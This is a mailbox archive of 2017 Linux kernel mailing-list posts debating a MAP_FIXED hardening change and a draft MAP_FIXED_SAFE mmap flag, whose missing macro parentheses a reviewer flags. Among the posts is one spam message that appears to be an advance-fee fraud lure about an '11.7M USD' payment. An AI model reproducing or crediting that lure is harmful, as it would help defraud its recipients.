X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.next,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: linux-next: Tree for Nov 7
Date: Mon, 13 Nov 2017 13:00:57 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <20171113120057.555mvrs4fjq5tyng@dhcp22.suse.cz>
References: <20171107162217.382cd754@canb.auug.org.au>
 <CACPK8Xfd4nqkf=Lk3n6+TNHAAi327r0dkUfGypZ3TpR0LqfS4Q@mail.gmail.com>
 <20171108142050.7w3yliulxjeco3b7@dhcp22.suse.cz>
 <20171110123054.5pnefm3mczsfv7bz@dhcp22.suse.cz>
 <CACPK8Xe5uUKEytkRiszdX511b_cYTD-z3X=ZsMcNJ-NOYnXfuQ@mail.gmail.com>
 <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz>
 <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz>
 <87lgjawgx1.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510574472 6041 195.159.176.226 (13 Nov 2017 12:01:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Nov 2017 12:01:12 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: Joel Stanley <joel@jms.id.au>,
        Stephen Rothwell <sfr@canb.auug.org.au>,
        Andrew Morton <akpm@linux-foundation.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Russell King <linux@armlinux.org.uk>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Abdul Haleem <abdhalee@linux.vnet.ibm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
        linux-arm-kernel@lists.infradead.org,
        linuxppc-dev@lists.ozlabs.org, linux-mips@linux-mips.org,
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Nov 13 13:01:03 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eEDQE-00014q-IU
	for glk-linux-kernel-3@m.gmane.org; Mon, 13 Nov 2017 13:01:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752388AbdKMMBG (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 13 Nov 2017 07:01:06 -0500
Original-Received: from mx2.suse.de ([195.135.220.15]:45728 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750854AbdKMMBE (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 13 Nov 2017 07:01:04 -0500
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id 803A2ABFC;
        Mon, 13 Nov 2017 12:01:02 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <87lgjawgx1.fsf@concordia.ellerman.id.au>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2615497 gmane.linux.kernel.next:44252 gmane.linux.ports.arm.kernel:613896 gmane.linux.ports.ppc64.devel:150194 gmane.linux.ports.mips.general:62079 gmane.linux.ports.parisc:27974 gmane.linux.ports.sh.devel:55868 gmane.linux.ports.sparc:26856
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2615497>

On Mon 13-11-17 22:34:50, Michael Ellerman wrote:
> Hi Michal,
> 
> Michal Hocko <mhocko@kernel.org> writes:
> > On Mon 13-11-17 10:20:06, Michal Hocko wrote:
> >> [Cc arm and ppc maintainers]
> >
> > Hmm, it turned out to be a problem on other architectures as well.
> > CCing more maintainers. For your reference, we are talking about
> > http://lkml.kernel.org/r/20171023082608.6167-1-mhocko@kernel.org
> > which has broken architectures which do apply aligning on the mmap
> > address hint without MAP_FIXED applied. See below my proposed way
> > around this issue because I belive that the above patch is quite
> > valuable on its own to be dropped for all archs.
> 
> I don't really like your solution sorry :)  The fact that you've had to
> patch seven arches seems like a red flag.
> 
> I think this is a generic problem with MAP_FIXED, which I've heard
> userspace folks complain about in the past.

The thing is that we canno  change MAP_FIXED behavior as it is carved in
stone

> Currently MAP_FIXED does two things:
>   1. makes addr not a hint but the required address
>   2. blasts any existing mapping
> 
> You want 1) but not 2).

+ fail if there is a clashing range

> So the right solution IMHO would be to add a new mmap flag to request
> that behaviour, ie. a fixed address but iff there is nothing already
> mapped there.
> 
> I don't know the mm code well enough to know if that's hard for some
> reason, but it *seems* like it should be doable.

Yes, I have mentioned that in the previous email but the amount of code
would be even larger. Basically every arch which reimplements
arch_get_unmapped_area would have to special case new MAP_FIXED flag to
do vma lookup. So this was the most simple solution I could come up
with. If there was a general interest for MAP_FIXED_SAFE then we can
introduce it later of course. I would just like the hardening merged
sooner rather than later.
-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:40:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Amos Kalonzo <daniel.basha.tg@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:
Date: Mon, 13 Nov 2017 15:55:00 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <CAKUwMNDfC9uOG95U5f-i17isa+BX5i3BsL5ROvpZbHGNaz4Q8w__10451.6076775782$1510584951$gmane$org@mail.gmail.com>
Reply-To: info@acalonzo.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1510584951 27817 195.159.176.226 (13 Nov 2017 14:55:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Nov 2017 14:55:51 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 13 15:55:46 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eEG9J-0006u3-0Q
	for glpp-linux-parisc@m.gmane.org; Mon, 13 Nov 2017 15:55:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752657AbdKMOzt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 13 Nov 2017 09:55:49 -0500
Original-Received: from mail-yw0-f196.google.com ([209.85.161.196]:52802 "EHLO
        mail-yw0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753128AbdKMOzK (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 13 Nov 2017 09:55:10 -0500
Original-Received: by mail-yw0-f196.google.com with SMTP id c145so1989517ywb.9
        for <linux-parisc@vger.kernel.org>; Mon, 13 Nov 2017 06:55:10 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:reply-to:from:date:message-id:subject:to;
        bh=imVD27T8j42PUodw/OCH8HY7iihVFBsa1JYDKbkK3HY=;
        b=Q4dpJ04Bj4Zn8snlzTTCGlftP72VhHDigvtSjaAVSk8aFBaPIVibdTNR0sJlTv8SIq
         8UTOlIIrawRR2CGzsFhCVySH1s7/vCsY34ya2WAioicDprmpa4RE3H0N4eSKVAIdUTOA
         Y8vyERr1zSjEuhc1xOiMsou/5V4UjRJnbI8apmne08FAZZp7Wcmpmea8CoRKq20dLAwM
         KVTH2+Ldsg0vwb9EuKuWwJl8dVTBs+bucf5wvq4GMsejm2bHa0GJlvYQRNtxFPXSV5m/
         BWb0Cm/jSPMgT7styrmywzhzHZA3ekZiyiKMkQnl7iZUOmdZRuW8MmX6oQ81Lwsp1+7J
         U2jg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:reply-to:from:date:message-id
         :subject:to;
        bh=imVD27T8j42PUodw/OCH8HY7iihVFBsa1JYDKbkK3HY=;
        b=R4E9NXtRXVOpES++leKx21qIKw5fqyhAiyfzt4LzZJgqeX3SGnvUEiKJTOP3PyUwUo
         D7ccND56lDaMuy79QCSAP6I25EARP7nRcHUS5/+4W4ooG3k9h3RlrRxYpYqZJei82cTg
         Gfn0wglnQxHo2DDZ8vuPtGZ6qVk4ZBnFGAXIW8qVGyWRNg/X6I9PQMRiEmmSLZ0X2D0e
         95PIUPsZp9/BRkcIIqxmBJSUYLa1KRf4t3REccMtXxRDJTL5Km+rpcTHaHsqVvMX2jfy
         +8k4P/RJVAGEGK18oNTHZtH6qtoENhsoo4JHnB9HuzMAd+IsASrFsBqnNWUa3Zgwd3Jm
         ZmBw==
X-Gm-Message-State: AJaThX512yfWj2uOORy20+1jveyaOfXjcB3D1KzhlN6XpP5lfRJ6mQYQ
        ahI/+qMyBVce0B7BPvuVmerH9aSYSQ5C8mxlSqU=
X-Google-Smtp-Source: AGs4zMb3x23V86ixyGYn30iyNiTBXwsDE4uJuYsAUV+ZhNZIZHCvHellIFjhke9XyaZwfEdnX0r19Oqv9HMZXfA5920=
X-Received: by 10.129.175.70 with SMTP id x6mr6241290ywj.226.1510584901382;
 Mon, 13 Nov 2017 06:55:01 -0800 (PST)
Original-Received: by 10.37.96.2 with HTTP; Mon, 13 Nov 2017 06:55:00 -0800 (PST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27975
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27975>

Attn:

I am wondering why You haven't respond to my email for some days now.
reference to my client's contract balance payment of (11.7M,USD)
Kindly get back to me for more details.

Best Regards

Amos Kalonzo
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: linux-next: Tree for Nov 7
Date: Mon, 13 Nov 2017 16:16:41 +0100
Lines: 113
Approved: news@gmane.org
Message-ID: <20171113151641.yfqrecpcxllpn5mq@dhcp22.suse.cz>
References: <20171107162217.382cd754@canb.auug.org.au>
 <CACPK8Xfd4nqkf=Lk3n6+TNHAAi327r0dkUfGypZ3TpR0LqfS4Q@mail.gmail.com>
 <20171108142050.7w3yliulxjeco3b7@dhcp22.suse.cz>
 <20171110123054.5pnefm3mczsfv7bz@dhcp22.suse.cz>
 <CACPK8Xe5uUKEytkRiszdX511b_cYTD-z3X=ZsMcNJ-NOYnXfuQ@mail.gmail.com>
 <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz>
 <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz>
 <87lgjawgx1.fsf@concordia.ellerman.id.au>
 <20171113120057.555mvrs4fjq5tyng@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510586211 7387 195.159.176.226 (13 Nov 2017 15:16:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Nov 2017 15:16:51 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: Joel Stanley <joel@jms.id.au>,
        Stephen Rothwell <sfr@canb.auug.org.au>,
        Andrew Morton <akpm@linux-foundation.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Russell King <linux@armlinux.org.uk>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Abdul Haleem <abdhalee@linux.vnet.ibm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
        linux-arm-kernel@lists.infradead.org,
        linuxppc-dev@lists.ozlabs.org, linux-mips@linux-mips.org,
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 13 16:16:45 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eEGTa-0000vM-S3
	for glpp-linux-parisc@m.gmane.org; Mon, 13 Nov 2017 16:16:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752883AbdKMPQt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 13 Nov 2017 10:16:49 -0500
Original-Received: from mx2.suse.de ([195.135.220.15]:59415 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752775AbdKMPQr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 13 Nov 2017 10:16:47 -0500
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id D2C9FAAC1;
        Mon, 13 Nov 2017 15:16:43 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20171113120057.555mvrs4fjq5tyng@dhcp22.suse.cz>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27976 gmane.linux.kernel.next:44258 gmane.linux.kernel:2615805 gmane.linux.ports.arm.kernel:613917 gmane.linux.ports.ppc64.devel:150202 gmane.linux.ports.mips.general:62105 gmane.linux.ports.sh.devel:55871 gmane.linux.ports.sparc:26860
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27976>

On Mon 13-11-17 13:00:57, Michal Hocko wrote:
[...]
> Yes, I have mentioned that in the previous email but the amount of code
> would be even larger. Basically every arch which reimplements
> arch_get_unmapped_area would have to special case new MAP_FIXED flag to
> do vma lookup.

It turned out that this might be much more easier than I thought after
all. It seems we can really handle that in the common code. This would
mean that we are exposing a new functionality to the userspace though.
Myabe this would be useful on its own though. Just a quick draft (not
even compile tested) whether this makes sense in general. I would be
worried about unexpected behavior when somebody set other bit without a
good reason and we might fail with ENOMEM for such a call now.

Elf loader would then use MAP_FIXED_SAFE rather than MAP_FIXED.
---
diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 3b26cc62dadb..d021c21f9b01 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -31,6 +31,9 @@
 #define MAP_STACK	0x80000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x100000	/* create a huge page mapping */
 
+#define MAP_KEEP_MAPPING 0x2000000
+#define MAP_FIXED_SAFE	MAP_FIXED|MAP_KEEP_MAPPING /* enforce MAP_FIXED without clobbering an existing mapping */
+
 #define MS_ASYNC	1		/* sync memory asynchronously */
 #define MS_SYNC		2		/* synchronous memory sync */
 #define MS_INVALIDATE	4		/* invalidate the caches */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index da3216007fe0..51e3885fbfc1 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -49,6 +49,9 @@
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
 
+#define MAP_KEEP_MAPPING 0x2000000
+#define MAP_FIXED_SAFE	MAP_FIXED|MAP_KEEP_MAPPING /* enforce MAP_FIXED without clobbering an existing mapping */
+
 /*
  * Flags for msync
  */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index cc9ba1d34779..5a4381484fc5 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -25,6 +25,9 @@
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
 
+#define MAP_KEEP_MAPPING 0x2000000
+#define MAP_FIXED_SAFE	MAP_FIXED|MAP_KEEP_MAPPING /* enforce MAP_FIXED without clobbering an existing mapping */
+
 #define MS_SYNC		1		/* synchronous memory sync */
 #define MS_ASYNC	2		/* sync memory asynchronously */
 #define MS_INVALIDATE	4		/* invalidate the caches */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index b15b278aa314..5df8a81524da 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -62,6 +62,9 @@
 # define MAP_UNINITIALIZED 0x0		/* Don't support this flag */
 #endif
 
+#define MAP_KEEP_MAPPING 0x2000000
+#define MAP_FIXED_SAFE	MAP_FIXED|MAP_KEEP_MAPPING /* enforce MAP_FIXED without clobbering an existing mapping */
+
 /*
  * Flags for msync
  */
diff --git a/include/uapi/asm-generic/mman-common.h b/include/uapi/asm-generic/mman-common.h
index 203268f9231e..22442846f5c8 100644
--- a/include/uapi/asm-generic/mman-common.h
+++ b/include/uapi/asm-generic/mman-common.h
@@ -25,6 +25,9 @@
 # define MAP_UNINITIALIZED 0x0		/* Don't support this flag */
 #endif
 
+#define MAP_KEEP_MAPPING 0x2000000
+#define MAP_FIXED_SAFE	MAP_FIXED|MAP_KEEP_MAPPING /* enforce MAP_FIXED without clobbering an existing mapping */
+
 /*
  * Flags for mlock
  */
diff --git a/mm/mmap.c b/mm/mmap.c
index 680506faceae..e53b6b15a8d9 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1365,6 +1365,13 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
 	if (offset_in_page(addr))
 		return addr;
 
+	if ((flags & MAP_FIXED_SAFE) == MAP_FIXED_SAFE) {
+		struct vm_area_struct *vma = find_vma(mm, addr);
+
+		if (vma && vma->vm_start <= addr)
+			return -ENOMEM;
+	}
+
 	if (prot == PROT_EXEC) {
 		pkey = execute_only_pkey(mm);
 		if (pkey < 0)
-- 
Michal Hocko
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: linux-next: Tree for Nov 7
Date: Mon, 13 Nov 2017 15:48:13 +0000
Lines: 56
Approved: news@gmane.org
Message-ID: <20171113154811.GM12318@n2100.armlinux.org.uk>
References: <20171107162217.382cd754@canb.auug.org.au>
 <CACPK8Xfd4nqkf=Lk3n6+TNHAAi327r0dkUfGypZ3TpR0LqfS4Q@mail.gmail.com>
 <20171108142050.7w3yliulxjeco3b7@dhcp22.suse.cz>
 <20171110123054.5pnefm3mczsfv7bz@dhcp22.suse.cz>
 <CACPK8Xe5uUKEytkRiszdX511b_cYTD-z3X=ZsMcNJ-NOYnXfuQ@mail.gmail.com>
 <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz>
 <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz>
 <87lgjawgx1.fsf@concordia.ellerman.id.au>
 <20171113120057.555mvrs4fjq5tyng@dhcp22.suse.cz>
 <20171113151641.yfqrecpcxllpn5mq@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510588121 25937 195.159.176.226 (13 Nov 2017 15:48:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Nov 2017 15:48:41 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Michael Ellerman <mpe@ellerman.id.au>,
        Joel Stanley <joel@jms.id.au>,
        Stephen Rothwell <sfr@canb.auug.org.au>,
        Andrew Morton <akpm@linux-foundation.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Abdul Haleem <abdhalee@linux.vnet.ibm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
        linux-arm-kernel@lists.infradead.org,
        linuxppc-dev@lists.ozlabs.org, linux-mips@linux-mips.org,
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 13 16:48:35 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eEGyQ-0004Qg-3m
	for glpp-linux-parisc@m.gmane.org; Mon, 13 Nov 2017 16:48:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753238AbdKMPsl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 13 Nov 2017 10:48:41 -0500
Original-Received: from pandora.armlinux.org.uk ([78.32.30.218]:53894 "EHLO
        pandora.armlinux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753148AbdKMPsk (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 13 Nov 2017 10:48:40 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=armlinux.org.uk; s=pandora-2014;
        h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=3dbHJRuQje94EUEDpm9Mj0JLrfq+QdV2otgWOjClzJQ=;
        b=CCeN+mh22cIPwatQ56AJSncUGBq67/Q3fVWjKsma+z0+DfvBKiAyCoRbump5FlL+2rTvr65qD1QuhmhEtbN433mqOe5KUIdCT2caZsv04ue2fiQdRUl8MyWfB/aOLSRTFlGqeV6kagPjz5FTr88/5mPvIIixr0X1kqr2Y6zWCMk=;
Original-Received: from n2100.armlinux.org.uk ([fd8f:7570:feb6:1:214:fdff:fe10:4f86]:40205)
        by pandora.armlinux.org.uk with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256)
        (Exim 4.82_1-5b7a7c0-XX)
        (envelope-from <linux@armlinux.org.uk>)
        id 1eEGyA-0005gw-At; Mon, 13 Nov 2017 15:48:18 +0000
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim 4.76)
        (envelope-from <linux@n2100.armlinux.org.uk>)
        id 1eEGy6-0006EU-7P; Mon, 13 Nov 2017 15:48:14 +0000
Content-Disposition: inline
In-Reply-To: <20171113151641.yfqrecpcxllpn5mq@dhcp22.suse.cz>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27977 gmane.linux.kernel.next:44262 gmane.linux.kernel:2615825 gmane.linux.ports.arm.kernel:613920 gmane.linux.ports.ppc64.devel:150204 gmane.linux.ports.mips.general:62106 gmane.linux.ports.sh.devel:55873 gmane.linux.ports.sparc:26861
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27977>

On Mon, Nov 13, 2017 at 04:16:41PM +0100, Michal Hocko wrote:
> On Mon 13-11-17 13:00:57, Michal Hocko wrote:
> [...]
> > Yes, I have mentioned that in the previous email but the amount of code
> > would be even larger. Basically every arch which reimplements
> > arch_get_unmapped_area would have to special case new MAP_FIXED flag to
> > do vma lookup.
> 
> It turned out that this might be much more easier than I thought after
> all. It seems we can really handle that in the common code. This would
> mean that we are exposing a new functionality to the userspace though.
> Myabe this would be useful on its own though. Just a quick draft (not
> even compile tested) whether this makes sense in general. I would be
> worried about unexpected behavior when somebody set other bit without a
> good reason and we might fail with ENOMEM for such a call now.
> 
> Elf loader would then use MAP_FIXED_SAFE rather than MAP_FIXED.
> ---
> diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
> index 3b26cc62dadb..d021c21f9b01 100644
> --- a/arch/alpha/include/uapi/asm/mman.h
> +++ b/arch/alpha/include/uapi/asm/mman.h
> @@ -31,6 +31,9 @@
>  #define MAP_STACK	0x80000		/* give out an address that is best suited for process/thread stacks */
>  #define MAP_HUGETLB	0x100000	/* create a huge page mapping */
>  
> +#define MAP_KEEP_MAPPING 0x2000000
> +#define MAP_FIXED_SAFE	MAP_FIXED|MAP_KEEP_MAPPING /* enforce MAP_FIXED without clobbering an existing mapping */

A few things...

1. Does this need to be exposed to userland?
2. Can it end up in include/uapi/asm-generic/mman*.h ?
3. The definition of MAP_FIXED_SAFE should really have parens around it.

> @@ -1365,6 +1365,13 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
>  	if (offset_in_page(addr))
>  		return addr;
>  
> +	if ((flags & MAP_FIXED_SAFE) == MAP_FIXED_SAFE) {

I'm surprised this doesn't warn - since this effectively expands to:

	flags & MAP_FIXED | MAP_KEEP_MAPPING

hence why MAP_FIXED_SAFE needs parens.

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line in suburbia: sync at 8.8Mbps down 630kbps up
According to speedtest.net: 8.21Mbps down 510kbps up
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: Re: linux-next: Tree for Nov 7
Date: Mon, 13 Nov 2017 16:49:39 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20171113154939.6ui2fmpokpm7g4oj@dhcp22.suse.cz>
References: <20171107162217.382cd754@canb.auug.org.au>
 <CACPK8Xfd4nqkf=Lk3n6+TNHAAi327r0dkUfGypZ3TpR0LqfS4Q@mail.gmail.com>
 <20171108142050.7w3yliulxjeco3b7@dhcp22.suse.cz>
 <20171110123054.5pnefm3mczsfv7bz@dhcp22.suse.cz>
 <CACPK8Xe5uUKEytkRiszdX511b_cYTD-z3X=ZsMcNJ-NOYnXfuQ@mail.gmail.com>
 <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz>
